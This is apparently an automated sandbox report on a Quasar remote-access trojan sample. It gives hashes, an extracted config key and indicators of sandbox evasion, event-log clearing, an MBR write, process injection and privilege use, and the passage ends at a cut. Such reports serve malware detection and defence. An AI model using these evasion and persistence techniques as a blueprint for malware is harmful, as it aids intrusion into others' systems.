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Analysis
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max time kernel
150s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
28/01/2025, 05:48
Behavioral task
behavioral1
Sample
24bbfa8d70a5d5e74791b0af93c77802df7e965b14b0649aaec2ab8dd0e0c999.exe
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
24bbfa8d70a5d5e74791b0af93c77802df7e965b14b0649aaec2ab8dd0e0c999.exe
Resource
win10v2004-20241007-en
General
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Target
24bbfa8d70a5d5e74791b0af93c77802df7e965b14b0649aaec2ab8dd0e0c999.exe
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Size
5.4MB
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MD5
dd2c5095b1d6590197ed2432837655f0
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SHA1
d287bb38f83941199fa66d7420b6f8cff2257a16
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SHA256
24bbfa8d70a5d5e74791b0af93c77802df7e965b14b0649aaec2ab8dd0e0c999
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SHA512
24d7f1b61f07060f7723a306d46b1d82ca1b54a93770bfb783b83f613edb9a412f929a40c396fda5b6b3402ca37531f53ce1d42524623a6ce1cfee61e726e283
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SSDEEP
98304:zHTFcsxxcsx30XgnNvfSDRyhoVi8rhh+xX/r:zHOgn0DRy2oR/r
Malware Config
Extracted
quasar
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encryption_key
329720B689F7B7703EAAA9546BE3BAFE737B0649
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reconnect_delay
3000
Signatures
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Quasar family
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Quasar payload 1 IoCs
resource yara_rule behavioral2/memory/1980-1-0x0000000000480000-0x00000000009E8000-memory.dmp family_quasar -
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
description pid Process procid_target PID 3192 created 624 3192 powershell.EXE 5 -
Sets service image path in registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\DoSvc\ImagePath = "C:\\Windows\\System32\\svchost.exe -k NetworkService -p" WaaSMedicAgent.exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion wmiprvse.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Control Panel\International\Geo\Nation 24bbfa8d70a5d5e74791b0af93c77802df7e965b14b0649aaec2ab8dd0e0c999.exe -
Indicator Removal: Clear Windows Event Logs 1 TTPs 1 IoCs
Clear Windows Event Logs to hide the activity of an intrusion.
description ioc Process File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-WindowsUpdateClient%4Operational.evtx svchost.exe -
pid Process 3192 powershell.EXE -
Enumerates connected drives 3 TTPs 23 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\A: svchost.exe File opened (read-only) \??\I: svchost.exe File opened (read-only) \??\M: svchost.exe File opened (read-only) \??\N: svchost.exe File opened (read-only) \??\U: svchost.exe File opened (read-only) \??\V: svchost.exe File opened (read-only) \??\J: svchost.exe File opened (read-only) \??\Q: svchost.exe File opened (read-only) \??\R: svchost.exe File opened (read-only) \??\W: svchost.exe File opened (read-only) \??\Z: svchost.exe File opened (read-only) \??\B: svchost.exe File opened (read-only) \??\E: svchost.exe File opened (read-only) \??\G: svchost.exe File opened (read-only) \??\K: svchost.exe File opened (read-only) \??\P: svchost.exe File opened (read-only) \??\S: svchost.exe File opened (read-only) \??\H: svchost.exe File opened (read-only) \??\L: svchost.exe File opened (read-only) \??\O: svchost.exe File opened (read-only) \??\T: svchost.exe File opened (read-only) \??\X: svchost.exe File opened (read-only) \??\Y: svchost.exe -
Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs
Bootkits write to the MBR to gain persistence at a level below the operating system.
description ioc Process File opened for modification \??\PHYSICALDRIVE0 wmiprvse.exe -
Drops file in System32 directory 17 IoCs
description ioc Process File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9 OfficeClickToRun.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml OfficeClickToRun.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9 OfficeClickToRun.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D lsass.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log powershell.EXE File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Scan svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work svchost.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 4688 set thread context of 1188 4688 powershell.exe 86 PID 3192 set thread context of 4864 3192 powershell.EXE 89 -
Drops file in Windows directory 6 IoCs
description ioc Process File opened for modification C:\Windows\SoftwareDistribution\DataStore\DataStore.edb svchost.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\DataStore.jfm svchost.exe File opened for modification C:\Windows\SoftwareDistribution\ReportingEvents.log svchost.exe File opened for modification C:\Windows\WindowsUpdate.log svchost.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk svchost.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\Logs\edb.log svchost.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe -
Checks SCSI registry key(s) 3 TTPs 18 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\CompatibleIDs wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Service wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Service wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\HardwareID wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Mfg wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\DeviceDesc wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000 wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\ConfigFlags wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000\LogConf wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\CompatibleIDs wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\DeviceDesc wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000 wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\FriendlyName wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Mfg wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000\LogConf wmiprvse.exe -
Checks processor information in registry 2 TTPs 9 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz svchost.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 mousocoreworker.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 mousocoreworker.exe Key opened \Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0 svchost.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString mousocoreworker.exe Key opened \Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0 mousocoreworker.exe -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier wmiprvse.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common OfficeClickToRun.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\DeviceTicket = 0100000001000000d08c9ddf0115d1118c7a00c04fc297eb0100000053751b77d4fe5a4e8356ac46449ccffe00000000020000000000106600000001000020000000337dacbf6aa04c14f6549b3d5837b89003b8e91f33b8b6a6d8502afca535e069000000000e800000000200002000000092a7433ac97443fd975845a7e70ecaf1aeec5234ad3b6afa20ce91d94b00b95fb00300005987f9747e7baac7032104ee1f5e1f2e19bbf764147dece3751a1272796042ea0da7c922cf488ef4575fd6070a089c72c3837097761e1949420cf433fd6f1e53c03141a2f4236e77b827673fc8102c63480eadb09887aaf480f26dde7067502065df24a116972d67bcc18a029ecf323cdd6bb0fb29dcd8763ff3ecd89fc6caa1a5f1791fd35e9e27df852ae4fca857bb025a6be40683ab74288621bbd7f88b3772aee960c798a4f86f951edd43705fa989c9bb5f8b43f27fc5a6e7073993aa4f77c51045fc1d245b4c0fd97d5613249c35924aadc49860c4af675f3071e32ed08d7395228f10b1a94e76f4e65c5e394d70e279cfda52e41427f87962a96a82d2bd12a3c9aa71f8b71e079c88bd4ca5c4e6484c6356196309d18b996291f816dcd824c8b66d2c295a0a1c05f2c51321ba917dfc3fc38885af817e5e9676f47496dcf9a0117902ef244384dbcbe79a6d2f59511173b2ddb06bc6b9a21d126abba7a4c47195b0de45214dc5f321b611ef4e39e576a4253d62f22fc4c7c630f3ef2f7b18b5a439772141b0a207cc07859dd55fa4e966a33562d131868a5cad1a05f93f371ba1564a7ab67777077fc03fddb16387ede867f94de82509ce2bd0fbfb4ef4200ba64ea47f6513cc3694e876a36e9052459831b3eec2d345d776bd945217f0e7235bc6c6d9f7bbbd96819a2bffcb9ca4ec12daadf631389e813145a996f8a0e13cdb64da0b7a73113749697d0efa31c62f981832f1564deaf63cbbfae13479f6156a9856dac64fcde8ef76323f53b27f732456b5c1e421e66b370d18514391ebebcc09a7788e7edad4add25075ac63e2f7135af4a0f464072269429ff25b4162384b2d7a16dca75209bc1edeac35add92b8cf6b085ef714b11a3e59d4c88b75dbf044b697da7447d31dd37ee15b491d34029f0acb5e3e32f03b2f20faac375967d9dab2a15e31afc9389e90391a2dc8005ef6359a0daa4a2477adf864fc7015aca499fdbf73843eaf18e31ffc4a5c9566bcb1c3567d43ddf3dcec45d9df1c84de22fd3700652e442b1f861fad57883cc9aa513ed47d47a83b9fc37471b77e400e69cc951d4287aa7e19f390a6646156e1196cd32f4d5c8a7d6c84f2792690a692143ac6fdb232fb8cdd5aecfce19c8942068ad418003acdc495776b27e9c71a46a23b15263f39edfbf14ec3c1be516273aca54e76d3b54fb9d5d7370ecbf24ea0e5ff1f998cd6e535ceab1f5e7865741e0bc5fdaa40d5a374ade58c632eaf1956be337eded35ce50c8d51ed4cdaeb2885c61df7f746b83a812400dc3c3ff5f01c85df91c3b7bef0979c79e0f256d40000000d807a48119552bf4374ba54ecbb42c34cb531cb9592bbe362249928ee006064418f420801c59419e3c8ccac63871e7848fbd7be6a1e2c788949776ded8ab5d50 mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0 OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates WaaSMedicAgent.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\SignalManager\Peek\CacheStore mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows mousocoreworker.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Tue, 28 Jan 2025 06:01:33 GMT" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA WaaSMedicAgent.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={190ECAB3-FDB0-48D9-90A2-083C27695B48}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&" OfficeClickToRun.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Property mousocoreworker.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\ExtendedProperties\LID = "001880110E7D3812" svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\SignalManager mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion mousocoreworker.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor OfficeClickToRun.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 1980 24bbfa8d70a5d5e74791b0af93c77802df7e965b14b0649aaec2ab8dd0e0c999.exe 1980 24bbfa8d70a5d5e74791b0af93c77802df7e965b14b0649aaec2ab8dd0e0c999.exe 3192 powershell.EXE 3192 powershell.EXE 3192 powershell.EXE 4864 dllhost.exe 4864 dllhost.exe 4864 dllhost.exe 4864 dllhost.exe 4864 dllhost.exe 4864 dllhost.exe 4864 dllhost.exe 4864 dllhost.exe 4864 dllhost.exe 4864 dllhost.exe 1980 24bbfa8d70a5d5e74791b0af93c77802df7e965b14b0649aaec2ab8dd0e0c999.exe 4864 dllhost.exe 4864 dllhost.exe 4864 dllhost.exe 4864 dllhost.exe 4864 dllhost.exe 4864 dllhost.exe 4864 dllhost.exe 4864 dllhost.exe 4864 dllhost.exe 4864 dllhost.exe 4864 dllhost.exe 4864 dllhost.exe 4864 dllhost.exe 4864 dllhost.exe 4864 dllhost.exe 4864 dllhost.exe 4864 dllhost.exe 4864 dllhost.exe 4864 dllhost.exe 4864 dllhost.exe 4864 dllhost.exe 4864 dllhost.exe 4864 dllhost.exe 4864 dllhost.exe 4864 dllhost.exe 1980 24bbfa8d70a5d5e74791b0af93c77802df7e965b14b0649aaec2ab8dd0e0c999.exe 4864 dllhost.exe 4864 dllhost.exe 4864 dllhost.exe 4864 dllhost.exe 4864 dllhost.exe 4864 dllhost.exe 3856 wmiprvse.exe 3856 wmiprvse.exe 3856 wmiprvse.exe 3856 wmiprvse.exe 3856 wmiprvse.exe 3856 wmiprvse.exe 4864 dllhost.exe 4864 dllhost.exe 1980 24bbfa8d70a5d5e74791b0af93c77802df7e965b14b0649aaec2ab8dd0e0c999.exe 4864 dllhost.exe 4864 dllhost.exe 4864 dllhost.exe 4864 dllhost.exe 4864 dllhost.exe 4864 dllhost.exe 4864 dllhost.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 1980 24bbfa8d70a5d5e74791b0af93c77802df7e965b14b0649aaec2ab8dd0e0c999.exe Token: SeDebugPrivilege 3192 powershell.EXE Token: SeDebugPrivilege 3192 powershell.EXE Token: SeDebugPrivilege 4864 dllhost.exe Token: SeShutdownPrivilege 2788 svchost.exe Token: SeCreatePagefilePrivilege 2788 svchost.exe Token: SeShutdownPrivilege 2788 svchost.exe Token: SeCreatePagefilePrivilege 2788 svchost.exe Token: SeShutdownPrivilege 2788 svchost.exe Token: SeCreatePagefilePrivilege 2788 svchost.exe Token: SeAssignPrimaryTokenPrivilege 1828 svchost.exe Token: SeIncreaseQuotaPrivilege 1828 svchost.exe Token: SeSecurityPrivilege 1828 svchost.exe Token: SeTakeOwnershipPrivilege 1828 svchost.exe Token: SeLoadDriverPrivilege 1828 svchost.exe Token: SeBackupPrivilege 1828 svchost.exe Token: SeRestorePrivilege 1828 svchost.exe Token: SeShutdownPrivilege 1828 svchost.exe Token: SeSystemEnvironmentPrivilege 1828 svchost.exe Token: SeManageVolumePrivilege 1828 svchost.exe Token: SeAssignPrimaryTokenPrivilege 1828 svchost.exe Token: SeIncreaseQuotaPrivilege 1828 svchost.exe Token: SeSecurityPrivilege 1828 svchost.exe Token: SeTakeOwnershipPrivilege 1828 svchost.exe Token: SeLoadDriverPrivilege 1828 svchost.exe Token: SeSystemtimePrivilege 1828 svchost.exe Token: SeBackupPrivilege 1828 svchost.exe Token: SeRestorePrivilege 1828 svchost.exe Token: SeShutdownPrivilege 1828 svchost.exe Token: SeSystemEnvironmentPrivilege 1828 svchost.exe Token: SeUndockPrivilege 1828 svchost.exe Token: SeManageVolumePrivilege 1828 svchost.exe Token: SeAssignPrimaryTokenPrivilege 1828 svchost.exe Token: SeIncreaseQuotaPrivilege 1828 svchost.exe Token: SeSecurityPrivilege 1828 svchost.exe Token: SeTakeOwnershipPrivilege 1828 svchost.exe Token: SeLoadDriverPrivilege 1828 svchost.exe Token: SeSystemtimePrivilege 1828 svchost.exe Token: SeBackupPrivilege 1828 svchost.exe Token: SeRestorePrivilege 1828 svchost.exe Token: SeShutdownPrivilege 1828 svchost.exe Token: SeSystemEnvironmentPrivilege 1828 svchost.exe Token: SeUndockPrivilege 1828 svchost.exe Token: SeManageVolumePrivilege 1828 svchost.exe Token: SeAssignPrimaryTokenPrivilege 1828 svchost.exe Token: SeIncreaseQuotaPrivilege 1828 svchost.exe Token: SeSecurityPrivilege 1828 svchost.exe Token: SeTakeOwnershipPrivilege 1828 svchost.exe Token: SeLoadDriverPrivilege 1828 svchost.exe Token: SeSystemtimePrivilege 1828 svchost.exe Token: SeBackupPrivilege 1828 svchost.exe Token: SeRestorePrivilege 1828 svchost.exe Token: SeShutdownPrivilege 1828 svchost.exe Token: SeSystemEnvironmentPrivilege 1828 svchost.exe Token: SeUndockPrivilege 1828 svchost.exe Token: SeManageVolumePrivilege 1828 svchost.exe Token: SeAssignPrimaryTokenPrivilege 1828 svchost.exe Token: SeIncreaseQuotaPrivilege 1828 svchost.exe Token: SeSecurityPrivilege 1828 svchost.exe Token: SeTakeOwnershipPrivilege 1828 svchost.exe Token: SeLoadDriverPrivilege 1828 svchost.exe Token: SeSystemtimePrivilege 1828 svchost.exe Token: SeBackupPrivilege 1828 svchost.exe Token: SeRestorePrivilege 1828 svchost.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
